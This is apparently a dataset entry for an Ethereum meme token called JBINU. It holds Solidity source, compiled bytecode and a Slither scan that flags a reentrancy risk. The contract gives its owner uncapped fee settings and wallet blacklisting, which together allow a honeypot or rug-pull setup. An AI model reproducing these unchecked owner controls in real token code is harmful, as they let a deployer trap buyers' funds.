f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f53756d206f662073656c6c2066656573206d757374206265206c65737320746860008201527f616e203130303000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53756d206f662070657263656e7473206d75737420657175616c203130300000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61336581612f86565b811461337057600080fd5b50565b61337c81612fc4565b811461338757600080fd5b5056fe42616279204675747572616d61207c2074202e6d652f426162794675747572616d6145524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4b7a287ef2355de3042b46e8c0abdbf0ed7823afd7d58d75563c7d36575138c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 897 |
0xcc0c883507117200b4db40e1e1ce14b7313ddf8d | /**
https://t.me/JBInuETH
Maybe JB would be up for that too. He deserves a lot of credit.
—Elon Musk
link:https://twitter.com/elonmusk/status/1517074058482958336?s=28&t=JVlJyyQSunTepr-WhtYH-g
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract JBStraubel is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Deserves a lot of Credit ";//
string private constant _symbol = "JBINU";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 3;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 3;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x851E53341CB047da62841EC93794b754d2924666);//
address payable private _marketingAddress = payable(0x851E53341CB047da62841EC93794b754d2924666);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9; //
uint256 public _maxWalletSize = 3000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612f3a565b610702565b005b34801561021157600080fd5b5061021a61082c565b604051610227919061300b565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613063565b610869565b60405161026491906130be565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613138565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613162565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e5919061317d565b6108bd565b6040516102f791906130be565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613162565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906131ec565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613216565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613231565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061328a565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613231565b610c3d565b60405161041e9190613162565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906132b7565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613162565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613216565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061328a565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613162565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b604051610533919061300b565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906132b7565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906132e4565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613063565b611101565b6040516105c291906130be565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190613231565b61111f565b6040516105ff91906130be565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b50610646600480360381019061064191906133a6565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613162565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190613406565b611358565b6040516106a79190613162565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906132b7565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190613231565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613492565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb6134b2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061082090613510565b91505061079a565b5050565b60606040518060400160405280601981526020017f44657365727665732061206c6f74206f66204372656469742000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600067016345785d8a0000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f5160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5790613492565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4790613492565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90613492565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d90613492565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b90613492565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f4a42494e55000000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790613492565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d690613492565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490613492565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d26134b2565b5b90506020020160208101906112e89190613231565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061134490613510565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b90613492565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a90613492565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a906135cb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af9061365d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906136ef565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613162565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613781565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea90613813565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d906138a5565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3190613937565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a77906139a3565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613a35565b60405180910390fd5b6001600854611b729190613a55565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a9190613a55565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613b1d565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d8190555060